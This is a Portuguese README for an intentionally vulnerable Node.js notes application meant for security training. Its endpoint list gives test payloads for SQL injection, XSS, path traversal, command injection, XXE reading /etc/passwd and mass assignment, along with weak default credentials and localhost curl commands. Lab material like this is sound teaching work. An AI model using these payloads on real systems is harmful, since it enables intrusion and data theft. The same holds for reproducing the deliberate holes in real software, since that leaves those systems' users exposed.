Um sistema de notas desenvolvido para fins educacionais e testes de segurança. Este projeto contém múltiplas vulnerabilidades intencionais para demonstrar falhas de segurança comuns em aplicações web.
- Endpoint:
POST /login,GET /search - Descrição: Login e busca vulneráveis a SQL injection
- Teste:
- Login:
admin' OR '1'='1-- - - Busca:
test' UNION SELECT username,password FROM users-- -
- Login:
- Endpoint:
/notes,/search - Descrição: Entrada de usuário não sanitizada
- Teste:
<script>alert('XSS')</script>
- Endpoint:
GET /file?path= - Descrição: Leitura de arquivos arbitrários do sistema
- Teste:
/file?path=../../../etc/passwd
- Endpoint:
POST /ping - Descrição: Execução de comandos do sistema
- Teste:
127.0.0.1; ls -laou127.0.0.1 && whoami
- Endpoint:
GET /template?file= - Descrição: Inclusão de arquivos locais
- Teste:
/template?file=../package.json
- Endpoint:
GET /debug - Descrição: Exposição de informações sensíveis do sistema
- Teste: Acesse
/debugpara ver senhas e variáveis de ambiente
- Endpoint:
POST /import - Descrição: Parser XML vulnerável a entidades externas
- Teste:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>- Endpoint:
GET /notes?user= - Descrição: Acesso a dados de outros usuários
- Teste: Mude o parâmetro
userpara ver notas de outros usuários
- Múltiplos usuários: Senhas fracas e previsíveis
- Credenciais: admin/1234, guest/guest, test/(vazia), root/toor
- Endpoint:
POST /user/update - Descrição: Atualização de campos não intencionais
- Teste:
{
"id": 1,
"username": "hacker",
"password": "newpass",
"role": "admin"
}- Endpoint:
POST /session/create,GET /session/info - Descrição: IDs de sessão previsíveis e vazamento de sessões
- Teste: Session IDs no formato
sess_username_timestamp
- Endpoint:
POST /upload - Descrição: Upload sem validação de tipo ou tamanho
- Teste: Faça upload de arquivos maliciosos (.php, .sh, etc.)
- Instale as dependências:
npm install- Execute o servidor:
node server.js- Acesse: http://localhost:3000
| Usuário | Senha | Descrição |
|---|---|---|
| admin | 1234 | Administrador |
| guest | guest | Usuário guest |
| test | (vazia) | Usuário sem senha |
| root | toor | Usuário root |
- Burp Suite: Para interceptar e modificar requisições
- OWASP ZAP: Scanner de vulnerabilidades
- sqlmap: Para automação de SQL injection
- curl: Para testes manuais de API
- Postman: Para testes de endpoints
curl -X POST http://localhost:3000/login \
-d "username=admin' OR '1'='1-- -&password=any"curl -X POST http://localhost:3000/ping \
-d "host=127.0.0.1; cat /etc/passwd"curl "http://localhost:3000/file?path=../../../etc/passwd"curl -X POST http://localhost:3000/import \
-d 'xml=<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><root>&test;</root>'Este projeto é destinado exclusivamente para:
- Educação em segurança cibernética
- Treinamento de desenvolvedores
- Testes em ambiente controlado
- Demonstrações acadêmicas
NÃO use este código em produção ou contra sistemas sem autorização explícita.
Contribuições são bem-vindas! Se você encontrar uma vulnerabilidade interessante que pode ser adicionada para fins educacionais, abra uma issue ou pull request.
ISC - Este projeto é fornecido "como está" para fins educacionais.
Desenvolvido para fins educacionais em segurança cibernética 🛡️